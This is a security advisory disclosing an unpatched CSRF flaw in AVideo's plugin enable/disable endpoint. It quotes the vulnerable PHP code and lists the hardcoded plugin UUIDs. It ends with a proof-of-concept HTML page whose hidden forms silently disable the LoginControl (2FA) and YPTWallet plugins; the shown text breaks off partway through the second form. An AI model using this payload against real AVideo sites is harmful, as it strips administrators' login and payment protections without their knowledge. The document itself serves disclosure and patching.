GitHub Security Advisory: GHSA-hqxf-mhfw-rc44
Package: wwbn/avideo (COMPOSER)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo: CSRF on Plugin Enable/Disable Endpoint Allows Disabling Security Plugins

Details:
## Summary

The AVideo endpoint `objects/pluginSwitch.json.php` allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the `plugins` database table is explicitly listed in `ignoreTableSecurityCheck()`, which means the ORM-level Referer/Origin domain validation in `ObjectYPT::save()` is also bypassed. Combined with `SameSite=None` on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page.

Plugin UUIDs are not secret values. They are hardcoded in the frontend JavaScript source and are consistent across installations, making it trivial for an attacker to target specific plugins.

## Details

The `objects/pluginSwitch.json.php` endpoint checks admin status but performs no CSRF validation:

```php
// objects/pluginSwitch.json.php
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

$obj = new Plugin(0);
$obj->loadFromUUID($_POST['uuid']);
$obj->setStatus($_POST['status']);
$obj->save();
```

The `plugins` table is explicitly excluded from the ORM security check at `objects/Object.php:529`:

```php
// objects/Object.php:529
public static function ignoreTableSecurityCheck() {
    return array(
        'plugins',
        // ... other tables
    );
}
```

This means the `save()` call does not trigger the Referer/Origin domain validation that normally acts as a secondary CSRF defense for other ORM operations.

Plugin UUIDs are hardcoded in each plugin's `getUUID()` method and are consistent across all AVideo installations. Examples:

| Plugin | UUID |
|--------|------|
| Gallery | `a06505bf-3570-4b1f-977a-fd0e5cab205d` |
| LoginControl | `LoginControl-5ee8405eaaa16` |
| Live | `e06b161c-cbd0-4c1d-a484-71018efa2f35` |
| YPTWallet | `2faf2eeb-88ac-48e1-a098-37e76ae3e9f3` |

These are also exposed in frontend JavaScript:

```javascript
// design_first_page.php:99
var galleryUUID = 'a06505bf-3570-4b1f-977a-fd0e5cab205d';
```

## Proof of Concept

Host the following HTML page on an attacker-controlled domain. This example disables the LoginControl plugin (which provides 2FA and login security enforcement):

```html
<!DOCTYPE html>
<html>
<head><title>AVI-031 PoC - Disable Security Plugin</title></head>
<body>
<h1>Loading content...</h1>

<!-- Disable LoginControl (2FA / brute force protection) -->
<iframe name="f1" style="display:none"></iframe>
<form id="disable1" method="POST" target="f1"
      action="https://your-avideo-instance.com/objects/pluginSwitch.json.php">
  <input type="hidden" name="uuid" value="LoginControl-5ee8405eaaa16" />
  <input type="hidden" name="status" value="inactive" />
</form>

<!-- Disable YPTWallet (subscription/payment enforcement) -->
<iframe name="f2" style="display:none"></iframe>
<form id="disable2" method="POST" target="f2"
      action="https://your-avideo-instance.com/obje